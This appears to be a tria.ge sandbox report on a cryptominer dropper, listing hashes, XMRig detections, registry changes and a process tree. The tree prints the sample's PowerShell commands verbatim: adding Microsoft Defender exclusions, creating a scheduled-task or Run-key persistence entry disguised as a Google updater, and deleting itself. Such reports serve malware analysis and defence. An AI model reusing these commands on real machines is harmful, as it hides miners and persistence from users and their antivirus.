Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
3qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h... K.exe
windows7-x64
10qM5GMXBk6h... K.exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...0).exe
windows7-x64
10qM5GMXBk6h...0).exe
windows10-2004-x64
10qM5GMXBk6h...1).exe
windows7-x64
10qM5GMXBk6h...1).exe
windows10-2004-x64
10qM5GMXBk6h...2).exe
windows7-x64
10qM5GMXBk6h...2).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...0).exe
windows7-x64
10qM5GMXBk6h...0).exe
windows10-2004-x64
10Resubmissions
21/07/2024, 20:17
240721-y27lvsvfll 1006/06/2024, 10:00
240606-l14glacf9x 1006/06/2024, 10:00
240606-l12yrscf9w 1006/06/2024, 09:56
240606-lyrd9acf71 1006/06/2024, 09:55
240606-lx1xascf7v 1006/06/2024, 09:55
240606-lxyf6scf7t 1006/06/2024, 09:35
240606-lkvvhsce2y 1006/06/2024, 09:32
240606-lhs8xacd7v 1006/06/2024, 09:32
240606-lhsx5sdd47 10Analysis
-
max time kernel
1694s -
max time network
1797s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
24/01/2024, 17:21
Static task
static1
Behavioral task
behavioral1
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20231215-en
General
-
Target
qM5GMXBk6hJE6Y5e (25).exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 3244 created 3520 3244 qM5GMXBk6hJE6Y5e (25).exe 49 PID 3244 created 3520 3244 qM5GMXBk6hJE6Y5e (25).exe 49 PID 3244 created 3520 3244 qM5GMXBk6hJE6Y5e (25).exe 49 PID 3244 created 3520 3244 qM5GMXBk6hJE6Y5e (25).exe 49 PID 4340 created 3520 4340 updater.exe 49 PID 4340 created 3520 4340 updater.exe 49 PID 4340 created 3520 4340 updater.exe 49 PID 4512 created 3520 4512 conhost.exe 49 PID 4340 created 3520 4340 updater.exe 49 PID 4340 created 3520 4340 updater.exe 49 -
XMRig Miner payload 31 IoCs
resource yara_rule behavioral22/memory/1752-87-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-93-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-97-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-99-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-100-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-102-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-106-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-108-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-110-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-112-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-114-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-116-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-118-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-120-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-122-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-124-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-126-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-128-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-130-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-132-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-134-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-136-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-138-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-140-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-142-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-144-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-146-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-148-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-150-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-152-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig behavioral22/memory/1752-154-0x00007FF618870000-0x00007FF619064000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 4340 updater.exe -
resource yara_rule behavioral22/memory/1752-87-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-93-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-97-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-99-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-100-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-102-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-106-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-108-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-110-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-112-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-114-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-116-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-118-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-120-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-122-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-124-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-126-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-128-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-130-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-132-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-134-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-136-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-138-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-140-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-142-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-144-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-146-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-148-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-150-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-152-0x00007FF618870000-0x00007FF619064000-memory.dmp upx behavioral22/memory/1752-154-0x00007FF618870000-0x00007FF619064000-memory.dmp upx -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4340 set thread context of 4512 4340 updater.exe 111 PID 4340 set thread context of 1752 4340 updater.exe 115 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (25).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 3260 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 28 IoCs
pid Process 3244 qM5GMXBk6hJE6Y5e (25).exe 3244 qM5GMXBk6hJE6Y5e (25).exe 3868 powershell.exe 3868 powershell.exe 3244 qM5GMXBk6hJE6Y5e (25).exe 3244 qM5GMXBk6hJE6Y5e (25).exe 3156 powershell.exe 3156 powershell.exe 3244 qM5GMXBk6hJE6Y5e (25).exe 3244 qM5GMXBk6hJE6Y5e (25).exe 3244 qM5GMXBk6hJE6Y5e (25).exe 3244 qM5GMXBk6hJE6Y5e (25).exe 4392 powershell.exe 4392 powershell.exe 4340 updater.exe 4340 updater.exe 4340 updater.exe 4340 updater.exe 1520 powershell.exe 1520 powershell.exe 4340 updater.exe 4340 updater.exe 4512 conhost.exe 4512 conhost.exe 4340 updater.exe 4340 updater.exe 4340 updater.exe 4340 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3868 powershell.exe Token: SeDebugPrivilege 3156 powershell.exe Token: SeIncreaseQuotaPrivilege 3156 powershell.exe Token: SeSecurityPrivilege 3156 powershell.exe Token: SeTakeOwnershipPrivilege 3156 powershell.exe Token: SeLoadDriverPrivilege 3156 powershell.exe Token: SeSystemProfilePrivilege 3156 powershell.exe Token: SeSystemtimePrivilege 3156 powershell.exe Token: SeProfSingleProcessPrivilege 3156 powershell.exe Token: SeIncBasePriorityPrivilege 3156 powershell.exe Token: SeCreatePagefilePrivilege 3156 powershell.exe Token: SeBackupPrivilege 3156 powershell.exe Token: SeRestorePrivilege 3156 powershell.exe Token: SeShutdownPrivilege 3156 powershell.exe Token: SeDebugPrivilege 3156 powershell.exe Token: SeSystemEnvironmentPrivilege 3156 powershell.exe Token: SeRemoteShutdownPrivilege 3156 powershell.exe Token: SeUndockPrivilege 3156 powershell.exe Token: SeManageVolumePrivilege 3156 powershell.exe Token: 33 3156 powershell.exe Token: 34 3156 powershell.exe Token: 35 3156 powershell.exe Token: 36 3156 powershell.exe Token: SeIncreaseQuotaPrivilege 3156 powershell.exe Token: SeSecurityPrivilege 3156 powershell.exe Token: SeTakeOwnershipPrivilege 3156 powershell.exe Token: SeLoadDriverPrivilege 3156 powershell.exe Token: SeSystemProfilePrivilege 3156 powershell.exe Token: SeSystemtimePrivilege 3156 powershell.exe Token: SeProfSingleProcessPrivilege 3156 powershell.exe Token: SeIncBasePriorityPrivilege 3156 powershell.exe Token: SeCreatePagefilePrivilege 3156 powershell.exe Token: SeBackupPrivilege 3156 powershell.exe Token: SeRestorePrivilege 3156 powershell.exe Token: SeShutdownPrivilege 3156 powershell.exe Token: SeDebugPrivilege 3156 powershell.exe Token: SeSystemEnvironmentPrivilege 3156 powershell.exe Token: SeRemoteShutdownPrivilege 3156 powershell.exe Token: SeUndockPrivilege 3156 powershell.exe Token: SeManageVolumePrivilege 3156 powershell.exe Token: 33 3156 powershell.exe Token: 34 3156 powershell.exe Token: 35 3156 powershell.exe Token: 36 3156 powershell.exe Token: SeIncreaseQuotaPrivilege 3156 powershell.exe Token: SeSecurityPrivilege 3156 powershell.exe Token: SeTakeOwnershipPrivilege 3156 powershell.exe Token: SeLoadDriverPrivilege 3156 powershell.exe Token: SeSystemProfilePrivilege 3156 powershell.exe Token: SeSystemtimePrivilege 3156 powershell.exe Token: SeProfSingleProcessPrivilege 3156 powershell.exe Token: SeIncBasePriorityPrivilege 3156 powershell.exe Token: SeCreatePagefilePrivilege 3156 powershell.exe Token: SeBackupPrivilege 3156 powershell.exe Token: SeRestorePrivilege 3156 powershell.exe Token: SeShutdownPrivilege 3156 powershell.exe Token: SeDebugPrivilege 3156 powershell.exe Token: SeSystemEnvironmentPrivilege 3156 powershell.exe Token: SeRemoteShutdownPrivilege 3156 powershell.exe Token: SeUndockPrivilege 3156 powershell.exe Token: SeManageVolumePrivilege 3156 powershell.exe Token: 33 3156 powershell.exe Token: 34 3156 powershell.exe Token: 35 3156 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2536 wrote to memory of 2220 2536 cmd.exe 101 PID 2536 wrote to memory of 2220 2536 cmd.exe 101 PID 4392 wrote to memory of 1080 4392 powershell.exe 104 PID 4392 wrote to memory of 1080 4392 powershell.exe 104 PID 4340 wrote to memory of 4512 4340 updater.exe 111 PID 4312 wrote to memory of 3260 4312 cmd.exe 114 PID 4312 wrote to memory of 3260 4312 cmd.exe 114 PID 4340 wrote to memory of 1752 4340 updater.exe 115 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3520
-
C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3244
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3868
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3156
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (25).exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2536
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1080
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Modifies data under HKEY_USERS
PID:1340
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1520
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
